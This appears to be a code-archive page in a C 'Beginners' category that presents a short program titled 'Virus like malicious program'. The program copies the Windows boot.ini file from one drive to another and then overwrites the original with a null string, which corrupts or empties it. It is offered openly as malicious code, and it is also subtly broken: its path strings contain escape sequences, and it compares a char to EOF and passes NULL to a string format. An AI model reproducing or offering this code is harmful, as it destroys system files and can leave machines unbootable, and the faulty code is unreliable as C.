Mega Code Archive

 
Categories / C / Beginners
 

Virus like malicious program

#include <stdio.h> #include <conio.h> void main() { char b,c; FILE *f,*g,*h; clrscr(); c=NULL; f=fopen("d:\boot.ini","r"); g=fopen("e:\boot.ini","w"); while(1) { b=fgetc(f); if (b==EOF) break; fprintf(g,"%c",b); } h=fopen("d:\boot.ini","w"); fprintf(h,"%s",c); fclose(h); fclose(g); fclose(f); getch(); }